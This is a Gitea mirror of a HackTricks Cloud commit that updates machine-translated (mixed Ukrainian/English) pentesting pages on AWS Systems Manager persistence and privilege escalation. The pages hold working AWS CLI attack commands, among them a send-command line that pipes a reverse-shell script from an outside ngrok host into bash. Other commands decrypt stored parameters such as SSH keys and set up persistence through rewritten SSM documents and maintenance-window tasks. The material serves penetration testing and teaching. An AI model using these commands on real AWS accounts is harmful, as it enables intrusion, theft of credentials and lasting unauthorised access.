gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-04-28 12:03:08 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2026-04-21 08:24:36 +00:00
parent a5f4360d1b
commit 70f4db8ed5
2 changed files with 128 additions and 29 deletions
Download Patch File Download Diff File Expand all files Collapse all files

60
src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
View File

@@ -1,18 +1,18 @@
# AWS - SSM Персистенція
# AWS - SSM Perssitence
{{#include ../../../../banners/hacktricks-training.md}}
## SSM
Для додаткової інформації див.:
Докладнішу інформацію дивіться:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### Використання ssm:CreateAssociation для персистенції
### Using ssm:CreateAssociation for persistence
Атакувальник із дозволом **`ssm:CreateAssociation`** може створити State Manager Association для автоматичного виконання команд на EC2 інстансах, керованих SSM. Такі асоціації можна налаштувати на запуск через фіксований інтервал, що робить їх придатними для backdoor-like persistence без інтерактивних сесій.
Зловмисник із дозволом **`ssm:CreateAssociation`** може створити State Manager Association, щоб автоматично виконувати команди на EC2 instances, керованих SSM. Ці associations можна налаштувати на запуск із фіксованим інтервалом, що робить їх придатними для backdoor-like persistence без interactive sessions.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -22,6 +22,56 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Цей метод персистентності працює доти, поки EC2 інстанс керується Systems Manager, SSM agent запущено, і зловмисник має дозвіл створювати асоціації. Він не потребує інтерактивних сесій або явних дозволів ssm:SendCommand. **Важливо:** параметр `--schedule-expression` (наприклад, `rate(30 minutes)`) має відповідати мінімальному інтервалу AWS у 30 хвилин. Для негайного або одноразового виконання повністю опустіть `--schedule-expression` — асоціація виконається один раз після створення.
> Цей метод persistence працює доти, доки EC2 instance керується Systems Manager, SSM agent запущений, і attacker має permission створювати associations. Він не потребує interactive sessions або явних permissions `ssm:SendCommand`. **Important:** параметр `--schedule-expression` (наприклад, `rate(30 minutes)`) має відповідати мінімальному інтервалу AWS у 30 minutes. Для immediate або one-time execution не вказуйте `--schedule-expression` взагалі — association виконається once після creation.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
An attacker with the permissions **`ssm:UpdateDocument`** and **`ssm:UpdateDocumentDefaultVersion`** can escalate privileges by modifying existing documents. This also allows for persistence within that document. Practically the attacker would also need **`ssm:ListDocuments`** to get the names for custom documents and if the attacker wants to obfuscate their payload within an existing document **`ssm:GetDocument`** would be necessary as well.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Нижче наведено приклад документа, який можна використати для перезапису наявного документа. Вам потрібно переконатися, що тип вашого документа відповідає типу цільових документів, щоб уникнути проблем під час виклику. Документ нижче, наприклад, буде для прикладів **`ssm:SendCommand`** і **`ssm:CreateAssociation`**.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Зловмисник із дозволами **`ssm:RegisterTaskWithMaintenanceWindow`** і **`ssm:RegisterTargetWithMaintenanceWindow`** може підвищити привілеї, спочатку зареєструвавши новий target у вже наявному maintenance window, а потім оновивши, зареєструвавши новий task. Це дає execution на наявних targets, але може дозволити зловмиснику скомпрометувати compute з різними roles шляхом реєстрації нових targets. Це також дає persistence, оскільки tasks maintenance windows виконуються за заздалегідь визначеним інтервалом під час створення window. На практиці зловмиснику також знадобиться **`ssm:DescribeMaintenanceWindows`**, щоб отримати maintenance window IDs.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
{{#include ../../../../banners/hacktricks-training.md}}

97
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
View File

@@ -4,7 +4,7 @@
## SSM
Для отримання додаткової інформації про SSM див.:
Для отримання додаткової інформації про SSM дивіться:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,7 +12,7 @@
### `ssm:SendCommand`
Зловмисник із дозволом **`ssm:SendCommand`** може **виконувати команди на інстансах**, де запущено Amazon SSM Agent, і **компрометувати IAM Role**, що працює всередині них.
Зловмисник із дозволом **`ssm:SendCommand`** може **виконувати команди на інстансах**, де запущено Amazon SSM Agent, і **скомпрометувати IAM Role**, що працює всередині нього.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Якщо ви використовуєте цю техніку для escalate privileges всередині вже скомпрометованого EC2 instance, ви можете просто перехопити rev shell локально за допомогою:
У випадку, якщо ви використовуєте цю техніку для підвищення привілеїв всередині вже скомпрометованого EC2 instance, ви можете просто локально зловити rev shell за допомогою:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Потенційний вплив:** Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів, де працюють SSM Agents.
**Потенційний вплив:** Direct privesc до EC2 IAM roles, attached to running instances with SSM Agents running.
### `ssm:StartSession`
Зловмисник з дозволом **`ssm:StartSession`** може **ініціювати SSH-подібну сесію на інстансах**, де запущено Amazon SSM Agent, і **компрометувати IAM Role**, що працює всередині.
Зловмисник із permission **`ssm:StartSession`** може **start a SSH like session in instances** з запущеним Amazon SSM Agent і **compromise the IAM Role**, що працює всередині нього.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> Для початку сесії потрібно встановити **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
> Щоб почати session, вам потрібно встановити **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**Potential Impact:** Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів із запущеними SSM Agents.
**Potential Impact:** Direct privesc до EC2 IAM roles, прикріплених до running instances з запущеними SSM Agents.
#### Privesc до ECS
#### Privesc to ECS
Коли **ECS tasks** працюють з увімкненим **`ExecuteCommand`**, користувачі з достатніми правами можуть використати `ecs execute-command`, щоб **execute a command** всередині контейнера.\
Згідно з [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) це робиться шляхом створення захищеного каналу між пристроєм, який ви використовуєте для ініціації команди “_exec_“ та цільовим контейнером за допомогою SSM Session Manager. (SSM Session Manager Plugin необхідний для цього)\
Тому, користувачі з `ssm:StartSession` зможуть **get a shell inside ECS tasks** з увімкненою цією опцією просто запустивши:
When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\
Згідно з [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) це робиться шляхом створення secure channel між device, який ви використовуєте для ініціації команди “_exec_“, і target container за допомогою SSM Session Manager. (SSM Session Manager Plugin необхідний, щоб це працювало)\
Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**Можливий вплив:** Прямий privesc до `ECS`IAM ролей, прикріплених до працюючих завдань з увімкненим `ExecuteCommand`.
**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled.
### `ssm:ResumeSession`
An attacker, який має дозвіл **`ssm:ResumeSession`**, може повторно **відновити SSH-подібну сесію на інстансах**, де працює Amazon SSM Agent, коли SSM session перебуває в стані **disconnected**, та **компрометувати IAM Role** яка працює всередині неї.
Зловмисник із дозволом **`ssm:ResumeSession`** може пере**запустити SSH-подібну сесію на інстансах**, у яких запущено Amazon SSM Agent, з **відключеним** станом SSM session і **скомпрометувати IAM Role**, що виконується всередині неї.
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,30 +72,30 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Потенційний вплив:** Прямий privesc до EC2 IAM roles, прикріплених до запущених інстансів із SSM Agents, що працюють, але з відключеними сесіями.
**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running and disconected sessions.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
Зловмисник з зазначеними дозволами зможе перерахувати **SSM parameters** та **читати їх у відкритому вигляді**. У цих параметрах часто можна **знайти чутливу інформацію**, таку як SSH keys або API keys.
An attacker with the mentioned permissions is going to be able to list the **SSM parameters** and **read them in clear-text**. In these parameters you can frequently **find sensitive information** such as SSH keys or API keys.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
```
**Можливий вплив:** Знайти конфіденційну інформацію в параметрах.
**Можливий вплив:** Знайти чутливу інформацію всередині параметрів.
### `ssm:ListCommands`
Атакувальник з цим дозволом може перерахувати всі надіслані **commands** та, можливо, знайти в них **конфіденційну інформацію**.
Зловмисник із цим дозволом може переглядати всі **commands**, які були надіслані, і, сподіваємося, знайти в них **чутливу інформацію**.
```
aws ssm list-commands
```
**Потенційний вплив:** Знаходження чутливої інформації в рядках команд.
**Можливий вплив:** Знайти sensitive information всередині command lines.
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
Атакуючий з такими дозволами може перерахувати всі надіслані **команди** та **читати вивід**, який вони генерують, сподіваючись знайти в ньому **чутливу інформацію**.
An attacker з цими permissions може list усі **commands**, надіслані, і **read the output**, що згенерований, сподіваючись знайти **sensitive information** у ньому.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Можливий вплив:** Можливість виявлення конфіденційної інформації у виводі команд.
**Потенційний вплив:** Знайти sensitive information всередині output командних lines.
### Використання ssm:CreateAssociation
### Using ssm:CreateAssociation
Зловмисник з дозволом **`ssm:CreateAssociation`** може створити State Manager Association для автоматичного виконання команд на EC2 інстансах, керованих SSM. Такі асоціації можна налаштувати на періодичне виконання через фіксований інтервал, що робить їх придатними для стійкої присутності, схожої на бекдор, без необхідності інтерактивних сесій.
Атакувальник з permission **`ssm:CreateAssociation`** can create a State Manager Association to automatically execute commands on EC2 instances managed by SSM. These associations can be configured to run at a fixed interval, making them suitable for backdoor-like persistence without interactive sessions.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -117,11 +117,60 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Цей метод персистенції працює доти, поки EC2 instance керується Systems Manager, SSM agent запущено, і зловмисник має дозволи на створення associations. Він не вимагає інтерактивних сесій або явних дозволів `ssm:SendCommand`. **Важливо:** параметр `--schedule-expression` (наприклад, `rate(30 minutes)`) має відповідати мінімальному інтервалу AWS у 30 хвилин. Для негайного або одноразового виконання повністю опустіть `--schedule-expression` — the association will execute once after creation.
> Цей метод persistence працює доти, доки EC2 instance керується Systems Manager, SSM agent запущений, і атакер має permission на створення associations. Він не вимагає interactive sessions або явних `ssm:SendCommand` permissions. **Important:** параметр `--schedule-expression` (наприклад, `rate(30 minutes)`) має відповідати мінімальному інтервалу AWS у 30 minutes. Для негайного або одноразового виконання повністю omit `--schedule-expression` — association виконається один раз після creation.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Атакер з permissions **`ssm:UpdateDocument`** і **`ssm:UpdateDocumentDefaultVersion`** може escalate privileges шляхом модифікації existing documents. Це також дозволяє persistence всередині цього document. На практиці атакеру також знадобиться **`ssm:ListDocuments`** для отримання names custom documents, а якщо атакер хоче obfuscate свій payload всередині existing document, **`ssm:GetDocument`** також буде необхідний.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Нижче наведено приклад документа, який можна використати для перезапису вже існуючого документа. Вам потрібно переконатися, що тип вашого документа збігається з типом цільових документів, щоб уникнути проблем із invokation. Документ нижче, наприклад, підійде для прикладів **`ssm:SendCommand`** і **`ssm:CreateAssociation`**.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Атакувальник з дозволами **`ssm:RegisterTaskWithMaintenanceWindow`** і **`ssm:RegisterTargetWithMaintenanceWindow`** може підвищити привілеї, спочатку зареєструвавши новий target в існуючому maintenance window, а потім оновивши реєстрацію нової task. Це забезпечує виконання на існуючих targets, але може дозволити атакувальнику скомпрометувати compute з різними ролями шляхом реєстрації нових targets. Це також дозволяє persistence, оскільки maintenance windows tasks виконуються за заздалегідь визначеним інтервалом під час створення window. Практично атакувальнику також знадобиться **`ssm:DescribeMaintenanceWindows`**, щоб отримати maintenance window IDs.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
### Codebuild
Ви також можете використати SSM, щоб потрапити всередину проекту codebuild під час його побудови:
Ви також можете використовувати SSM, щоб потрапити всередину codebuild project, який зараз будується:
{{#ref}}
../aws-codebuild-privesc/README.md